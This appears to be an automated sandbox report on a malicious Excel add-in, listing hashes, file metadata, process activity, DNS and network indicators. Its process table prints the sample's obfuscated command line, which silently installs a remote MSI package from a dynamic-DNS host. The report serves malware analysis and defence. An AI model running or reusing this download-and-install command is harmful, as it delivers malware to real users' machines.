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| File name: | sp.xlam |
| Full analysis: | https://app.any.run/tasks/3f9159d3-dd14-4d5a-a411-beb16db69e76 |
| Verdict: | Malicious activity |
| Analysis date: | September 18, 2019, 15:31:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | 5C3CE41ED7B1C0C8E168E993528FF7A1 |
| SHA1: | C9DD25DD44CA65628FA1E8E3AD4851D666ADA094 |
| SHA256: | E42C0FD3805A25CD66ECD040829262B93C807084A556C73E7C9548254637893A |
| SSDEEP: | 192:Aexlcoq+8QkFaEMJJm9cG6ZAK0u+ofhQxizT3W7+p+1iTvUGPjpIzB:AKlr8F92JvGlY+ofhQITMaTsGPuN |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3384)
Uses Microsoft Installer as loader
- cmd.exe (PID: 3920)
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 3384)
SUSPICIOUS
No suspicious indicators.INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3384)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
|---|---|---|
| .xlsx | | | Excel Microsoft Office Open XML Format document (30) |
| .zip | | | Open Packaging Conventions container (15.4) |
| .zip | | | ZIP compressed archive (3.5) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0x8d5748fb |
| ZipCompressedSize: | 368 |
| ZipUncompressedSize: | 1087 |
| ZipFileName: | [Content_Types].xml |
XMP
| Creator: | admin |
|---|
XML
| LastModifiedBy: | admin |
|---|---|
| CreateDate: | 2019:09:17 18:49:34Z |
| ModifyDate: | 2019:09:17 18:49:34Z |
| Application: | Microsoft Excel |
| DocSecurity: | None |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | Sheet1 |
| Company: | - |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 15.03 |
Total processes
37
Monitored processes
4
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3384 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3920 | "C:\Windows\System32\cmd.exe" /c msie^x^EC /i http://s321.duckdns.org/v/c/g/t/the.msi /qn | C:\Windows\System32\cmd.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2488 | msiexEC /i http://s321.duckdns.org/v/c/g/t/the.msi /qn | C:\Windows\system32\msiexec.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 4020 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
692
Read events
660
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3384 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR97DF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3384 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~$sp.xlam | — | |
MD5:— | SHA256:— | |||
| 3384 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF5409E013CF99F357.TMP | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
3
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4020 | msiexec.exe | 23.249.163.172:80 | s321.duckdns.org | ColoCrossing | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
s321.duckdns.org |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |